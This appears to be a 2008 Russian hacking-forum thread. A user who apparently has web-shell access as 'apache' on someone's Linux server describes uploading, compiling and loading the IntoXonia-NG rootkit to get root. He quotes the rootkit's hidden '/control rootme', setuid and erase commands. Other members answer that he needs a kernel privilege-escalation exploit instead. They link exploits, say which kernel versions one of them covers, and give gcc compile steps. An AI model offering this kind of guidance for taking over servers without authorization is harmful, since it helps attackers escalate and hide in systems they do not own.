Как правильно воспользоваться руткитом?

Discussion in 'Безопасность и Анонимность' started by M@rtein, 16 Feb 2008.

  1. M@rtein

    M@rtein New Member

    Joined:
    9 Aug 2007
    Messages:
    56
    Likes Received:
    3
    Reputations:
    0
    Моя цель получит root
    Code:
    Software: Apache/2.0.52 (Red Hat). PHP/4.3.9
    uname -a: Linux ******** 2.6.9-55.0.9.ELsmp #1 SMP Tue Sep 25 02:16:15 EDT 2007 x86_64
    uid=48(apache) gid=48(apache) groups=48(apache)
    Safe-mode: OFF (not secure)    
    Опишу все что делал - подробно:
    В качестве Руткита выбрал IntoXonia-NG rootkit v.0.2 by _4epen & ShadOS.
    После команды:
    Code:
    tar xzvf itx-ng-0.2-rc1.tar
    получил:
    Code:
     intoxonia/
     intoxonia/Makefile
     intoxonia/hfiles.c
     intoxonia/tricks.c
     intoxonia/nethide.c
     intoxonia/tricks.h
     intoxonia/funces.c
     intoxonia/ixinit.c
     intoxonia/funces.h
     intoxonia/README 
     intoxonia/scalls.h
     intoxonia/policy.h
     intoxonia/policy.c  
     intoxonia/select.c 
     intoxonia/tofile.c
     intoxonia/checks.c
     intoxonia/execve.c
     intoxonia/checks.h
     intoxonia/README-RU-UTF8 
     intoxonia/proces.c
     intoxonia/AUTHORS 
     intoxonia/tofile.h
     intoxonia/select.h 
     intoxonia/netwrk.c 
     intoxonia/netwrk.h
     intoxonia/option.h
     intoxonia/ChangeLog 
     intoxonia/COPYING
     intoxonia/TODO
    Файл option.h редактировать не стал и оставил все по умолчанию.
    Далее командой:
    Code:
    make
    Получаю:
    Code:
    make -C /lib/modules/2.6.9-55.0.9.ELsmp/build SUBDIRS=/home/httpd/html/afam/gallery/tmp/intoxonia
      make[1]: Entering directory `/usr/src/kernels/2.6.9-55.0.9.EL-smp-x86_64'
        LD      /home/httpd/html/afam/gallery/tmp/intoxonia/built-in.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/checks.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/funces.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/execve.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/hfiles.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/netwrk.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/policy.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/proces.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/select.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/tofile.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/tricks.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/nethide.o
        CC [M]  /home/httpd/html/afam/gallery/tmp/intoxonia/ixinit.o
      make[1]: Leaving directory `/usr/src/kernels/2.6.9-55.0.9.EL-smp-x86_64'
    Code:
    make load
    Результат:
    Code:
    insmod itx.ko
    Далее выполняю команду:
    Code:
    /control auth itx
    и ничего :confused: Подскажите что не так делал, и что нужно сделать...
    Это мой первый опыт, так что по возможности обьясните доходчиво.
     
    #1 M@rtein, 16 Feb 2008
    Last edited: 16 Feb 2008
  2. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    а для чего тебе нужен руткит?
     
  3. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    может он перепутал руткит со сплойтом, дающем права рута?
     
    1 person likes this.
  4. MacTep

    MacTep Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    317
    Likes Received:
    160
    Reputations:
    35
    Судя по цели, именно перепутал. А потому смотрим:
    Что такое руткит:
    _http://ru.wikipedia.org/wiki/Rootkit
    _http://www.computerbild.ru/?did=16_919

    Для поднятия прав до root в 2.6.9 используем:
    _http://www.live.dsip.net/index.php?showtopic=1472

    PS Вообще, всвязи с выходом сего (_http://www.milw0rm.com/exploits/5092) о том, что подняться до root`а нужно сплойтом (а не руткитом) не знает только запершийся в четырех стенах. Куда не плюнь - всюду его обсуждают..
     
    #4 MacTep, 16 Feb 2008
    Last edited: 16 Feb 2008
  5. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Всё зависит от того, что ты хотел получить. Инструмент есть, голова есть (?) - осталось понять как им воспользоваться. Вспоминаем басню про мартышку и очки. Улыбнуло. Удивительно как он вообще insmod смог сделать =))))
     
    1 person likes this.
  6. M@rtein

    M@rtein New Member

    Joined:
    9 Aug 2007
    Messages:
    56
    Likes Received:
    3
    Reputations:
    0
    Блин я же сказал что это мой первый опыт...
    Цитирую файл README-RU:
    Code:
    11. Функции немедленного действия
    ---------------------------------
    
    К этой категории относятся команды получения прав рута, смена UID и GID процесса и
    секьюрное удаление файлов. Чтобы получить права суперпользователя, введи:
    
     # /control rootme
     
    Результатом выполнения этой команды будет запуск /bin/sh с правами рута.
    Чтобы принудительно сменить UID и GID процесса с идентификатором pid, есть две команды:
    
     # /control setuid pid uid
     # /control setgid pid uid
     
    Защищенное удаление файла достигается следующей командой:
    
     # /control erase /file
     
    Все эти функции также не будут работать без авторизации :)
    Здесь четко написано что можно получить права суперпользователя, но что-то не получаеться...
    To MacTep Спасибо за ответ, а что это - http://www.milw0rm.com/exploits/5092 подойдет для моей версии?
     
  7. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Это после установки руткита, секретные команды для хакера, его установившего, которые позволяют ему быстро повысить привелегии...
     
  8. MacTep

    MacTep Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    317
    Likes Received:
    160
    Reputations:
    35
    Это сплойт для поднятия прав до рута для linux kernel с версии 2.6.17 до версии 2.6.24. Патч уже опубликован, но мало кто его использовал.

    Для твоего случая это не подойдет. Ядро атакуемой тобой системы 2.6.9.
     
  9. M@rtein

    M@rtein New Member

    Joined:
    9 Aug 2007
    Messages:
    56
    Likes Received:
    3
    Reputations:
    0
    Всем спасибо, из всей дискуссии я понял что мне просто нужен сплоит на 2.6.9
    Кроме этого http://www.live.dsip.net/index.php?showtopic=1472 еще что то есть?
     
  10. M@rtein

    M@rtein New Member

    Joined:
    9 Aug 2007
    Messages:
    56
    Likes Received:
    3
    Reputations:
    0
    Раскажите пожалуйста как правильно воспользоваться данным http://www.live.dsip.net/index.php?showtopic=1472 сплоитом, как скомпилировать его на серваке...
     
  11. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Там 2 файла. создаешь file1.c и file2.c , рассовываешь код эксплоита в эти файл, далее
    gcc file1.c -o file1
    gcc file2.c -o file2

    Но я не уверен, что это даст тебе root`а , выдержка из описания:
    А самого шелл-кода то в эксплоите нету =(
     
  12. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Потому что это Poc-код
     
  13. M@rtein

    M@rtein New Member

    Joined:
    9 Aug 2007
    Messages:
    56
    Likes Received:
    3
    Reputations:
    0
    Подскажите пожалуйста кто может что такое POC-код, неоднакратно встречал, но не вдумывался в значение, и какой либо сплоит на linux 2.6.9
     
  14. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    http://en.wikipedia.org/wiki/Proof_of_concept